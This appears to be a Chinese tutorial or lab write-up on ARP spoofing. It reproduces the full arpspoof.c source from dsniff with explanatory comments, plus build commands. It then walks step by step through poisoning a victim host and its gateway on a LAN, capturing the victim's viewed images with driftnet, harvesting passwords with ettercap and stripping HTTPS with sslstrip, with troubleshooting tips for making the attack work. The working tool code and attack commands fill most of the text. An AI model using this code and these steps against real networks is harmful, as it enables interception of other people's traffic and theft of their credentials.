包含的信息有:类型、长度、操作、发送方地址、目标地址。
sudo apt-get source dsniff
sudo apt-get install libnet1
sudo apt-get install libpcap-dev
sudo apt-get install libnet1-dev
/* * arpspoof.c * * Redirect packets from a target host (or from all hosts) intended for * another host on the LAN to ourselves. * * Copyright (c) 1999 Dug Song <dugsong@monkey.org> * * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $ * * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de> */
//#include "config.h"
#include <sys/types.h> //基本系统数据类型
/*包含caddr_t clock_t comp_t dev_t fd_set fpos_t gid_t ino_t off_t mode_t pid_t ptrdiff_t rlim_t size_t ssize_t time_t uid_t wchar_t*/
#include <sys/param.h>
#include <sys/socket.h> //与套接字相关的函数声明和结构体定义
/*SOCKET_STREAM:流式套接字 SOCKET_DGRAM:数据报式套接字 SOCKET_RAW:原始套接字 创建套接字:socket() 绑定本机端口:bind() 建立连接:connect(),accept() 倾听端口:listen() 数据传输:send(),recv() 输入/输出多路复用:select() 关闭套接字:closesocket() */
/*通过使用#ifdef指示符,我们可以区隔一些与特定头文件、程序库 和其他文件版本有关的代码,提高程序的通用性。*/
#ifdef BSD
#include <sys/sysctl.h> //sysctl函数头文件
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet //网络字节地址定义
#endif
#else /* !BSD */
#include <sys/ioctl.h> //I/O控制操作相关的函数声明,如ioctl()
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h> //端口宏定义,著名ip(loopback),结构sockaddr_in..
/*网络字节转换(ntoh,hton...),用途广泛。*/
#include <netinet/if_ether.h> //ether_arp的数据结构
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //提供对POSIX操作系统API的访问功能的头文件的名称。
#include <string.h>
//#include "config.h"
//#include <sys/types.h>
//#include <sys/param.h>
//#include <netinet/in.h>
//#include <stdio.h>
//#include <string.h>
#include <signal.h> //C标准函数库中的信号处理部分,定义了程序执行时如何处理不同的信号。
#include <err.h>
#include <libnet.h> //libnet 是一个小型的接口函数库,主要用 C 语言写成,提供了低层网络数据包的构造、处理和发送功能。
#include <pcap.h> //这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,通过这种机制,都是可以捕获的。
#ifndef _ARP_H_
#define _ARP_H_
#include <net/ethernet.h> //包括几个以太网的数据结构,ether_addr(mac帧结构),
/*ether_header(以太帧的头部)*/
/*声明了查找arp缓存表的函数*/
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
#endif
//#include "arp.h"
//#include "version.h"
#ifdef BSD //BSD系统中的arp_cache_lookup函数实现
/*ip为查找IP值 */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
int mib[6];
size_t len; //长度
char *buf, *next, *end; //缓存、下一个、最后一个
struct rt_msghdr *rtm; //rt_msghdr结构
struct sockaddr_inarp *sin; //sockaddr_in 是internet环境下套接字的地址形式
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET; // IPv4网络协议的套接字类型
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;
/*函数原型: int sysctl(const int *name,u_int namelen,void *oldp, size_t *oldlenp,const void *newp,size_t newlen); sysctl函数检索系统信息和允许适当的进程设置系统信息,可以得到整数,字符串和 表的信息,信息可以通过sysctl命令行接口被重新设置。 通过设置参数oldp为NULL调用函数sysctl可以设置可用数据的大小,这些可用数据将会 被返回被oldlenp指向的位置。如果一个新值不被设置,newp应该被设置为NULL,nwelen为0 */
/*sysctl函数设置失败,返回-1*/
if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
return (-1);
/*buf分配失败,返回-1*/
if ((buf = (char *)malloc(len)) == NULL)
return (-1);
/*设置oldp参数为buf*/
if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
free(buf);
return (-1);
}
end = buf + len; //设置end的指针位置
/*next指针从buf到end开始遍历,步长为rtm->rtm_msglen */
for (next = buf ; next < end ; next += rtm->rtm_msglen) {
rtm = (struct rt_msghdr *)next; //设置rtm、sin、sdl的指针值
sin = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)(sin + 1);
/*如果s_addr和查找IP值相等且sdl_alen不为0*/
if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
//将ether_addr_octet的所有值设置为LLADDR(sdl)
memcpy(ether->ether_addr_octet, LLADDR(sdl),
ETHER_ADDR_LEN);
free(buf); //释放缓存空间
return (0);
}
}
free(buf); //释放缓存空间
return (-1);
}
#else /* !BSD */ //其他非BSD的系统的arp缓存查找函数
#ifndef ETHER_ADDR_LEN /* XXX - Solaris */
#define ETHER_ADDR_LEN 6
#endif
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;
memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
strncpy(ar.arp_dev, lif, strlen(lif));
#endif
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip;
/*函数原型: int socket(int domain,int type,int protocol) domain:协议类型,一般为AF_INET type:socket类型 protocol:用来指定socket所使用的传输协议编号,通常设为0即可*/
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
return (-1);
}
if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
close(sock);
return (-1);
}
close(sock);
//设置ether_addr_octec的所有值为ar.arp_ha.sa_data
memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);
return (0);
}
#endif /* !BSD */
extern char *ether_ntoa(struct ether_addr *);
/*定义主机的结构,包括ip地址和MAC地址*/
struct host {
in_addr_t ip;
struct ether_addr mac;
};
#define VERSION "version"
static libnet_t *l;
static struct host spoof = {
0}; //欺骗性主机
static struct host *targets; //目的主机
static char *intf;
static int poison_reverse;
static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";
static int cleanup_src_own = 1;
static int cleanup_src_host = 0;
static void
usage(void) //arpspoof使用说明函数,打印一句话
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
exit(1);
}
/*发送arp包的函数, 参数1:libnet链路层接口,通过这个接口可以操作链路层, 参数2:arpop,来指定arp包的操作, 参数3:本机硬件地址, 参数4:本机ip, 参数5:目的硬件地址, 参数6:目的ip, 参数7:我的硬件地址。 */
static int
arp_send(libnet_t *l, int op,
u_int8_t *sha, in_addr_t spa,
u_int8_t *tha, in_addr_t tpa,
u_int8_t *me)
{
int retval;
if (!me) me = sha;
/*libnet_autobuild_arp函数,功能为构造arp数据包 */
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
/*libnet_build_ethernet函数,功能为构造一个以太网数据包*/
libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
//输出网络地址
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)me));
/*此处if和else是回显处理(也就是大家能看到的部分)*/
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__ //linux下的arp_force函数
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
/*arp_find函数,寻找arp表*/
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
sleep(1);
}
/*在本机网络设备存在的条件下把包再发3遍, 留个缓冲时间*/
while (i++ < 3);
return (0);
}
//寻找所有目标arp
static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}
return 0;
}
static void
cleanup(int sig)
{
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < rounds; i++) {
struct host *target = targets;
while(target->ip) {
uint8_t *src_ha = NULL;
if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
src_ha = my_ha;
}
/* XXX - on BSD, requires ETHERSPOOF kernel. */
/*上面这条注释是源码的作者加的, 意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/
if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
src_ha);
/* we have to wait a moment before sending the next packet */
sleep(1);
}
if (bw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&spoof.mac,
spoof.ip,
src_ha);
sleep(1);
}
target++;
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
int n_targets;
char *cleanup_src = NULL;
spoof.ip = 0;
intf = NULL;
poison_reverse = 0;
n_targets = 0;
/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );
/*getopt函数:用于专门处理函数参数的,用法:argc与argv直接是从main的参数中拿下来的, 第三个参数描述了整个程序参数的命令要求,具体的用法我们可以先理解为要求i,t这两个参数必须有值, 然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了 */
while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
// libnet_name2addr4是解析域名,然后把域名解析的结果形成ip地址返回到target_ip
case 't':
if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
case 'r':
poison_reverse = 1;
break;
case 'c':
cleanup_src = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage();
}
if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up, * not jeopardizing any bridges on the way to our * target */
cleanup_src_own = 1;
cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host")==0) {
/* only use the target hw address when cleaning up; * this can screw up some bridges and scramble access * for our own host, however it resets the arp table * more reliably */
cleanup_src_own = 0;
cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both")==0) {
cleanup_src_own = 1;
cleanup_src_host = 1;
} else {
errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
usage();
}
if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
/*pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。 下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备) ebuf就是error_buf用来存储错误信息 */
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
/*libnet_init这个函数存在于libnet库中,作用是打开intf指向的网络链路设备, 错误信息存入libnet_ebuf中。 */
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
struct host *target = targets;
/*下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip 那么提示错误. */
while(target->ip) {
if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}
if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}
if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address");
}
//信号的处理问题
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
printf("PB13206106,Luo Yongguan");
/*在这个for的循环里我们看到了我们希望看到的核心模块, arp_send这个函数是用来发送伪造的arp数据包的 */
for (;;) {
struct host *target = targets;
while(target->ip) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
my_ha);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
}
target++;
}
sleep(2);
}
/* NOTREACHED */
exit(0);
}
gcc arpspoof.c -lnet -lpcap -o arpspoof
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
arp -a
,查询所有接口的IP地址及对应物理MAC地址:
以上显示了接口172.20.10.4对应的局域网内所有主机IP地址,其中,172.20.10.11作为攻击主机,172.20.10.12作为被攻击主机。
fping -asg 172.20.10.0/27
以查看172.20.10.0局域网段内的所有存活主机:
./arpspoof -i eth0 -t 172.20.10.12 172.20.10.1
./arpspoof -i eth0 -t 172.20.10.1 172.20.10.12
driftnet
echo 0 > /proc/sys/net/ipv4/ip_forward
arpspoof: couldn't arp for host
,可能的原因为,网关IP设置错误,利用fping -asg [局域网网段]
查询网关IP地址;
2.仍旧无法解决时,
arpspoof -i eth0 -t 【被攻击IP】 【网关IP】
arpspoof -i eth0 -t 【网关IP】 【被攻击IP】
两个都要执行。
命令解释arpspoof -i eth0 -t IP1 IP2
欺骗ip2,告诉IP2你的计算机IP是IP1,
这样分析一下,你就理解ARP欺骗了。
3.虚拟机网卡设置不对也会造成攻击失败,可能是虚拟机的联网模式默认为net造成的,这样的话,攻击机ip和目标ip不在同一号段,所以无法欺骗。只要在虚拟机的网卡设置那里调成桥接模式就可以了。
sudo apt-get install driftnet
。driftnet
截取到了被攻击主机在百度贴吧上浏览的图片。
ettercap -Tq -i eth0
。(从网络流量中抓取账号密码,-T是以文本模式显示,q是以安静模式)
sslstrip -a -f -k
,使用sslstrip命令前先安装包:sudo apt-get install sslstrip
。[1] http://www.freebuf.com/sectool/87293.html [2] http://www.freebuf.com/articles/network/74700.html [3] https://www.douban.com/group/topic/15558388/ [4] http://www.bingdun.com/news/security/9591.htm
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。